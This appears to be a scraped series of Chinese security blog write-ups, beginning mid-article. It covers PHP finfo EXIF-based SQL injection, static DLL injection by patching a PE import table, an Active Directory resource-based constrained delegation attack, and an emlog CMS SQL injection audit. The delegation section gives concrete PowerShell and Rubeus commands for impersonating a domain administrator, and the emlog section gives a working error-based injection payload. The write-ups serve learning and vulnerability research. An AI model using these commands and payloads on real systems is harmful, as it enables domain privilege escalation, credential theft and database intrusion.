set_flags(int $flags) {} } 我们跟进finfo::file 我们在下方图中位置下三个断点   将前面题目拉下来的源文件放在一个文件夹中进行调试 源文件如下: 将upload.php修改如下 $filename = md5(md5(rand(1,10000))).".zip"; $filetype = (new finfo)->file($_FILES['file']['tmp_name']); $filepath = "upload/".$filename; var_dump($filetype); die(0); 开启调试,上传注入文件后程序便会停止在断点处 第一个断点处,421行,这个断点处调用包装器打开资源并返回流对象   第二个断点处,431-432行,进入magic_stream,单步调试,监视ms以及ret_val 进入file_or_stream   直接看file_or_stream的return   跟进file_getbuffer,下方其实就可以看到ms->o.buf已经获取到了exif信息   后面的就不继续跟进了,但是可以肯定的是file()方法可以检测图片的EXIF信息,并且作为题目中的filetype传入数据库造成注入 $filetype = (new finfo)->file($_FILES['file']['tmp_name']);  总结 虽然是几年前的trick,但是每弄清楚一个trick,攻击面就会更广。  参考文章 • https://blog.gem-love.com/ctf/2283.html#你没见过的注入 • https://segmentfault.com/a/1190000015052042
PE文件静态注入
http:// https://www.yijinglab.com/expc.do?ce=d5bc0c11-a182-474b-8ac1-251194174436 DLL注入 DLL注入指的是向运行中的其他进程强制插入特定的DLL文件。 可以通过修改静态的PE文件,修改输入表结构,使得程序执行时载入特定的DLL文件。 通常可执行文件需要使用其他DLL文件中的代码或数据,这些DLL文件相关的信息会保存在输入表中,因此我们通过修改PE文件中输入表相应的信息,即可实现PE文件在运行时自动载入特定的DLL文件。 使用PEview工具可以清晰的看到程序说输入表的信息   输入表 由于需要修改输入表信息,因此这里简单介绍一下输入表的结构。 在PE文件的可选头中存在这数据目录项, 里面记载了输出表、输入表等关键信息的偏移及大小。那么理所当然的PE文件在执行时也会通过数据目录项里的信息去找寻输入表。   输入表是由IMAGE_IMPORT_DESCRIPTOR结构的数组组成,简称IID,没有特定的成员指出IID项数,但是会由全为0的IID结构作为结束。 上图可以看出输入表的起始地址为0x1B1C4,这是RVA(相对偏移地址)地址,我们需要转化为文件的偏移地址才能够在文件中找到相应的内容。工具中提供了RVA与文件偏移地址的转换或者自行计算。   从上图可以看出IID结构确实是由全为0的IID结构作为结束。 输入表结构 IID结构的字段成员如下,其中OriginalFirstThunk、Name以及FirstThunk成员是我们添加DLL文件的关键。 IMAGE_IMPORT_DESCRIPTOR union characteristics DWORD OriginalFirstThunk DWORD //指向IMAGE_THUNK_DATA结构的数组 ends TimeDateStamp DWORD //时间标志 ForwarderChain DWORD //一般为0 Name DWORD //指向DLL名称的指针 FirstThunk DWORD//指向IMAGE_THUNK_DATA结构的数组 IMAGE_IMPORT_DESCRIPTOR 在PE文件尚未执行过时,OriginalFirstThunk与FirstThunk字段指向相同的结构,区别在于OriginalFirstThunk不可以重写,而FirstThunk可以被重写,当PE文件执行后FirstThunk指向的结构会用于存放输入函数的真实地址。因此我们修改时将OriginalFirstThunk与FirstThunk字段指向同个地址即可。而Name字段存放的是指向DLL文件名称的指针。 OriginalFirstThunkFirstThunkName指向IMAGE_THUNK_DATA结构的数组指向IMAGE_THUNK_DATA结构的数组指向DLL名称的指针 IMAGE_THUNK_DATA IMAGE_THUNK_DATA union u1 ForwarderString DWORD //指向一个转向者字符串的RVA Function DWORD //被输入的函数的内存地址 Oridinal DWORD //被输入的API的序数值 AddressOfData DWORD //指向IMAGE_IMPORT_BY_NAME IMAGE_THUNK_DATA IMAGE_THUNK_DATA结构在不同情况下的成员不同,但是重点关注AddresOfData字段,该字段指向IMAGE_IMPORT_BY_NAME结构,该结构记录的输入函数的名称。当IMAGE_THUNK_DATA值的双字的最高位为0时,表示函数以字符串类型的函数名方式输入。因此构造时高两个字节为0,低两个字节为IMAGE_IMPORT_BY_NAME结构地址即可。 IMAGE_IMPORT_BY_NAME IMAGE_IMPORT_BY_NAME STRUCT Hint WORD //忽略设置为0 Name BYTE //输入函数名称 IMAGE_IMPORT_BY_NAME IMAGE_IMPORT_BY_NAME结构的高两字节的值忽略,后门跟着的数据直接填入DLL文件中输出的函数名称,即PE文件运行时会使用到DLL文件中函数的名称。 修改PE文件 这里准备两个文件 • 文件一:HelloWorld.exe,该文件仅仅是简单在屏幕输出HelloWorld!!!的字符 • 文件二:待注入的DLL文件,show.dll,该DLL文件的功能可以根据实际情况而定,这里我准备的DLL文件可以简单的弹出一个对话框。 将HelloWorld.exe文件拖入PEview工具中,查看输入表内容。可以看到并没有载入show.dll文件。   运行HelloWorld.exe文件   开始修改HelloWorld.exe文件的思路 • 需要在输入表中添加额外的IID结构,该IID成员的信息为show.dll文件的信息 • 由于需要添加IID成员,需要观察原始输入表是否由额外的空间可以容纳新的IID结构,若没有则可以选择 – 文件中的空白区域 – 文件末尾添加新节区 现在观察HelloWorld.exe文件的输入表,可以看见在输入表的结尾处紧跟着的是一串数据,并且大概率不是无用的数据,若我们直接在输入表结尾处添加新的IID结构必定会破坏原文件的结构,导致程序无法正常运行。   因此选择在找空白处,因为PE文件需要对齐,因此会使用大量的空字符进行填充。空白区域可以任取,但是需要记住选取的地址因为后续需要用到。并且我们需要观察该空白区域是否会被载入到内存中去。我们这里选择的是idata段末尾位置,因此需要去查询idata段信息。   如下图所示,文件中idata段的大小比映射到内存中的大小更大,因此我们可以利用这段差值填充伪造输入表。这里选择文件偏移0x8960作为输入表的起始地址。不能将0x8950作为其实地址,这样KERNEL32.DLL字符串会缺失截断符,运行时会提示找不到该DLL文件。   首先将原输入表的数据复制下来,写入文件偏移0x8960处,新增一个IID结构,Name字段填入DLL文件的名字,即show.dll,而OriginalFirstThunk与FirstThunk字段填入填入IMAGE_IMPORT_BY_NAME结构体的地址,IMAGE_IMPORT_BY_NAME的内容填入输入函数的名称,并且高两个字节需要为0。这里所有填入的地址都为RVA地址,因此需要将文件地址转化为RVA地址填入。 接着需要改写idata的权限,前面说到FirstThunk在PE文件运行后是会被改写的,因此输入表所在的区段需要具有写权限。可以看到idata不具备写权限,因此需要将写权限加上。   0x80000000为写权限的标志位,因此将原来的数据或上0x80000000即可   修改后为0xC0000000    最后由于修改了输入表结构以及所在地址并且新增了一个IID结构因此需要去数据目录项的位置修改输入表的地址及大小。   使用PEView工具查看修改后的文件,能够发现修改后的文件使用工具依然能够识别出来,证明没有把文件修坏。   最后执行程序,发现show.dll文件成功注入  参考文章 • 加密与解密 • 逆向工程核心原理
基于资源的约束委派利用攻击介绍二
前言 RBCD常见的攻击手法都是通过添加机器账号,然后设置委派,可参考https://mp.weixin.qq.com/s/Cc-SiuwtGTB_cKQBc1IX0g,那如果域管理员设置了域内默认添加的机器账号的数量为0呢? 修改ms-DS-MachineAccountQuota可以通过ADSI编辑器更改:   也可以通过admod工具更改: AdMod.exe -b  "dc=rootkit,dc=org" "ms-DS-MachineAccountQuota::0" -updatenchead 最后能看到ms-DS-MachineAccountQuota为0:   自己委派自己 尝试利用老方法,能够发现添加机器账号失败了,也是情理之中:   https://mp.weixin.qq.com/s/Cc-SiuwtGTB_cKQBc1IX0g中有讲到,机器自身和把机器拉入域的域用户都有权限更改机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性,而且还提到,服务账号,如iis、localservice这些,发起网络请求的身份是机器账号:      因此我们可以自己委派自己,把机器的msDS-AllowedToActOnBehalfOfOtherIdentity改为自身机器账号,然后自身机器账号在模拟用户进行委派攻击。 我们模拟一下实战,首先打到了一个内网的webshell,iis apppool权限:   利用ADModule来设置自己委派给自己: powershell -ep bypass "import-module .\Microsoft.ActiveDirectory.Management.dll;$iis = get-adcomputer SRV-WEB-KIT;set-adcomputer SRV-WEB-KIT -PrincipalsAllowedToDelegateToAccount $iis" 查询委派信息(利用工具:https://github.com/Jumbo-WJB/search_rbcd),设置委派成功:   这时候看过我https://mp.weixin.qq.com/s/Cc-SiuwtGTB_cKQBc1IX0g的小伙伴会想了:“接下来我会,使用机器账号的凭证发起s4u协议就可以委派了”,确实是可以,但是这里是低权限用户,没法抓密码,也就无法获取机器账号凭证,那应该如何操作呢? 首先利用rubeus通过AcquireCredentialsHandle、InitializeSecurityContext,以非高权限申请转发票据: rubeus.exe tgtdeleg /nowrap    利用s4u协议请求票据: rubeus.exe s4u /user:SRV-WEB-KIT$ /domain:rootkit.org /dc:owa2013.rootkit.org /impersonateuser:administrator /msdsspn:http/SRV-WEB-KIT.rootkit.org /ptt /ticket:doIFLxxxxxxxxxx    最终也成功的利用http spn对该机器进行了提权操作: powershell -ep bypass "invoke-command -computername SRV-WEB-KIT.rootkit.org -Command {whoami}"   抓密码啥的当然也不在话下:    总结 本文描述了在MAQ为0的情况下的提权手段(当然不止文中的这些手段),可见设置MAQ为0并不能完全的防御住基于资源的约束委派攻击。
如何审计一个冷门的cms?
前言 刚开始代码审计多多少少会有种无从下手的感觉,想要通过自己的代码审计能力直接审计出漏洞未免有些困难。但是如果直接拿到一个cms开始审,刚开始可能富有激情,可是越审到后面就会越怀疑自己,然后放弃代码审计。造成这样的现象的原因便是:不知道自己到底能不能审到漏洞。 那如何审出一个很少人知道,并且肯定存在的洞呢? 本文介绍的办法就是:上cnvd看看以前师傅提交的洞,虽然大多数的洞都是不公开的,但是我们还是可以根据cnvd给的一点点信息来尝试复现。 因此,本文涉及到的漏洞都是比较早被发现,危害性较低,并且已经被厂商修复的漏洞,本文仅对代码审计的过程做一个分析。 确定目标 刚开始审计,可以选择一些比较冷门的cms(内容管理系统),挑选一个自己擅长的cms语言审计,之所以选择冷门的cms是因为这些cms一般存在的安全问题会比热门cms多。 本文选用的cms是:emlog(V5.3.1),这个cms是使用PHP语言开发的个人博客管理系统  信息收集 确定完目标之后,就需要上cnvd搜索该cms历史存在的一些漏洞,本文演示的是emlog   可以看到在cnvd上存在这么一些漏洞,虽然在漏洞详情页面并没有直接写漏洞是怎么形成的,但是在这里或多或少会存在一些信息。比如在哪个地方会存在什么类型的洞。 接下里挑选一个简单的漏洞进行演示    复现漏洞 由上图可知,在后台页面,一般是admin目录下,有一个ta打头的文件,而我们查看一下emlog目录,唯一一个ta打头的文件就是tags.php   而在tag.php仅有50余行代码,因此想在50行左右的代码地方找到一个SQL注入还是比较简单的  首先是大概了解一下这50余行代码的作用,对于一个博客内容管理系统来说,tag.php应该是一个处理文章标签管理的文件 因此我们这个cms可能会用到这个文件的页面   在这个页面中存在几种操作,一个是全选,一个是删除,其中点进标签后还存在标签修改的功能   这几个功能对应在tag.php中就是这么几个if语句  而执行哪一种操作是根据传入action的值来决定的 因此,接来下审计在这些if语句中可能存在的SQL注入的点 首先是第一个if判断 if ($action == '') { $tags = $Tag_Model->getTag(); include View::getView('header'); require_once View::getView('tag'); include View::getView('footer'); View::output(); } 这一个if判断只有一个action是可控的,其余没有参数可控,因此这个函数不存在SQL注入的点 然后再看一下第二个if判断 if ($action== "mod_tag") { $tagId = isset($_GET['tid']) ? intval($_GET['tid']) : ''; $tag = $Tag_Model->getOneTag($tagId); extract($tag); include View::getView('header'); require_once View::getView('tagedit'); include View::getView('footer');View::output(); } 这一个if判断相比上一个多一个tid为可控参数,不过cms对传入的tid进行了intval的转换 不过我们还是跟进getOneTag方法看一下 function getOneTag($tagId) { $tag = array(); $row = $this->db->once_fetch_array("SELECT tagname,tid FROM ".DB_PREFIX."tag WHERE tid=$tagId"); $tag['tagname'] = htmlspecialchars(trim($row['tagname'])); $tag['tagid'] = intval($row['tid']); return $tag; } getOneTag方法具有一个参数tagId,这个tagId就是前面我们自定义传入的tid,不过这个地方没法传入字符串进行闭合注入,因为在传入这个方法以前就已经intval转换了,所以这个点不存在sql注入 接下来看第三个if判断 //标签修改 if ($action=='update_tag') { $tagName = isset($_POST['tagname']) ? addslashes($_POST['tagname']) : ''; $tagId = isset($_POST['tid']) ? intval($_POST['tid']) : '';          if (empty($tagName)) {         emDirect("tag.php?action=mod_tag&tid=$tagId&error_a=1");     }      $Tag_Model->updateTagName($tagId, $tagName); $CACHE->updateCache(array('tags', 'logtags')); emDirect("./tag.php?active_edit=1"); } 这里相比上面多了一个tagname,这个tagname可以传入字符串,也就是有可能会存在SQL注入,不过在传入的时候,cms会对这个tagname进行一个addslashes函数转换,也就是传入的单引号以及一些特殊符号会被转译。 我们这边抓包尝试一下 首先查看一下现在的标签,此时有两个标签tag112以及tags2123   上面提到的tagname其实就是标签的名字,我们抓包将tag112修改为tag112',尝试能否闭合   这时候我们返回主页面   发现此时标签变为了tag112',所以单引号是被转义了,没法直接进行SQL注入。 当然,如果数据库的编码为GBK,那么可以尝试宽字节注入,不过默认使用的数据库为utf8,因此无法使用宽字节注入。 接下来看第4个if判断 //批量删除标签 if ($action== 'dell_all_tag') { $tags = isset($_POST['tag']) ? $_POST['tag'] : '';     LoginAuth::checkToken(); if (!$tags) { emDirect("./tag.php?error_a=1"); } foreach ($tags as $key=>$value) { $Tag_Model->deleteTag($key); } $CACHE->updateCache(array('tags', 'logtags')); emDirect("./tag.php?active_del=1"); } 这个地方POST传入了一个tag,是我们的可控参数,并且这里没有对tag进行转义,所以我们再往下看是否存在SQL注入 其中我们传入的tag最终会成为tags数组中的key,仔细看一下foreach循环中,传入的deleteTag方法的参数是数组中的key,而在PHP中,数组的key并不一定需要是数字,也可以是一个字符串,只要key和value对应即可。 我们这个时候先不着急抓包,先看看deleteTag方法是如何实现的。 跟进deleteTag方法 function deleteTag($tagId) { $this->db->query("DELETE FROM ".DB_PREFIX."tag where tid=$tagId"); } 可以发现,SQL语句执行的时候也是没有进行任何过滤的。 这里我们开始抓包   可以看到post传入了tag[1],这里我们对方括号中的1开始注入,这里也不需要引号闭合,直接注即可。 我使用的是报错注入 tag%5B1%20and%20updatexml(0,concat(0x7e,version()),1)%20%23%5D=1&token=c16eaff79a17d690f5c0caae66276085   看下方的结果,已经把数据库的版本爆出来了。   总结 本文所复现的是在后台的SQL注入,利用难度较大,危害性较低。并且审计这个cms并不是直接拿一个cms从头开始审,而是根据在cnvd中存在的一些模糊信息进行审计,来提高自己复现这个漏洞的成功率,不至于在一开始就碰壁,而能在相对短的时间里获得较大的成就感,提高学习效率。